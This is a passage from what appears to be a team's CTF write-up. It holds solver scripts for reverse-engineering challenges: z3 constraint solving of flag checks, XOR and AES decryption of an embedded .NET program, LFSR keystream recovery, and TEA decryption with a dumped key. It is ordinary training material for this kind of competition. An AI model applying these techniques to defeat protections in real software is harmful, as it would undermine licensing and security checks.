    0x14, 0x15, 0x16, 0x17,
    0x18, 0x19, 0x24, 0x2c,
    0x26, 0x1e, 0x1f, 0x20,
    0x20, 0x21, 0x23, 0x27,
    0x24, 0x25, 0x26, 0x27,
]
fake = [
        0x70, 0x7c, 0x73, 0x78,
        0x6f, 0x27, 0x2a, 0x2c,
        0x7f, 0x35, 0x2d, 0x32,
        0x37, 0x3b, 0x22, 0x59,
        0x53, 0x8e, 0x3d, 0x2a,
        0x59, 0x27, 0x2d, 0x29,
        0x34, 0x2d, 0x61, 0x32
]

from z3 import *

sol = Solver()
flag = [BitVec(f'flag[{i}]', 8) for i in range(32)]

for i in range(0, 28):
    s2 = (((xorkey[i]) ^ flag[i]) + i) ^ fake[i]
    sol.add(s2 == 0)

s2 = (flag[28] + flag[29]) ^ 0x6c
sol.add(s2 == 0)
s2 = (flag[28] + flag[28] + flag[29]) ^ 0xa1
sol.add(s2 == 0)
s2 = (flag[30] + flag[31]) ^ 0xb1
sol.add(s2 == 0)
s2 = (flag[30] + flag[30] + flag[31]) ^ 0xe5
sol.add(s2 == 0)

assert sol.check() == sat
mol = sol.model()

f = bytearray([mol.eval(flag[i]).as_long() for i in range(len(flag))])
print(f)

GameMaster

gamemessage decryption
binwalk能看到execute头,分离出来是个套娃.NET程序
# -*- coding:utf-8 -*-
data = open(r'gamemessage', "rb").read()
data = bytearray(data)
for i in range(len(data)):
    data[i] ^= 34

from Crypto.Cipher import AES

ctx = AES.new(
	key=bytearray([66, 114, 97, 105, 110, 115, 116, 111, 114, 109, 105, 110, 103,33,33,33]),
	mode=AES.MODE_ECB
)
out = ctx.decrypt(data)

# print(out[0x13EB:])

open(r'dec.exe', "wb").write(out[0x13EB:])
分析程序
c# check
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		private static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream)
		{
			int num = -1;
			for (int i = 0; i < 320; i++)
			{
				x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);
				y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);
				z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);

				bool flag = i % 8 == 0;
				if (flag)
				{
					num++;
				}
				KeyStream[num] = (byte)(
						(long)((long)KeyStream[num] << 1)
							| (long)(
								(ulong)(
									(uint)(
										(z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))
										)
								)
							)
					);
			}
		}
z3 solved
from z3 import *

sol = Solver()

xorkey = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
cmp = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5]

x = BitVec("x", 63)
y = BitVec("y", 63)
z = BitVec("z", 63)

dup = [x, y, z]

num = -1

arr = [BitVecVal(0, 63) for i in range(len(cmp))]

for i in range(320):
   x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
   y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
   z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
   if i % 8 == 0:
       num += 1
   arr[num] = ((arr[num] << 1) | (((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1))) & 0xffffffff) & 0xff)

for i in range(len(cmp)):
   sol.add(cmp[i] == arr[i])

assert sol.check() == sat

sol = sol.model()

fake = [sol.eval(i).as_long() & 0xffffffff for i in dup]

Key = [0] * 12
for i in range(3):
   for j in range(4):
       Key[i * 4 + j] = fake[i] >> j * 8 & 255

print(bytearray([(xorkey[i] ^ Key[i % len(Key)]) & 255 for i in range(len(xorkey))]))

easyapk

MBA obfuscate
tea algorithm
dump key then decrypt
#include <cstdio>
#include <cstdint>
#include <windows.h>

void decrypt (uint32_t* v, uint32_t* k) {
   uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
   uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
   uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
   for (i=0; i<32; i++) {                         /* basic cycle start */
       v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
       v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
       sum -= delta;
  }                                              /* end cycle */
   v[0]=v0; v[1]=v1;
}

int main() {
   unsigned char byte_1400032F0[32+1] = {
           0x84, 0xAA, 0x94, 0x5D, 0xA0, 0x24, 0xFA, 0x14, 0x10, 0x02, 0x56, 0x2B, 0x49, 0xDD, 0x9B, 0xB6,
           0xD4, 0xEA, 0xEF, 0xAA, 0xC6, 0xF4, 0x8C, 0x4B, 0xC9, 0xB8, 0x7F, 0x09, 0xD2, 0x51, 0xEC, 0xB5   };
   uint32_t key[4] = {
           0x33323130, 0x37363534, 0x62613938, 0x66656463
  };

   uint32_t *in = (uint32_t*) byte_1400032F0;

   for (int i = 0; i < 4; ++i) {
       decrypt(in+i*2, key);
  }

   for (int i = 0; i < 8; ++i) {
       printf("%08X ", in[i]);
  }
   printf("\n");

   printf("%s\n", byte_1400032F0);
}
ROT13
notion image

Pwn


© Z00M Team 2022 - 2024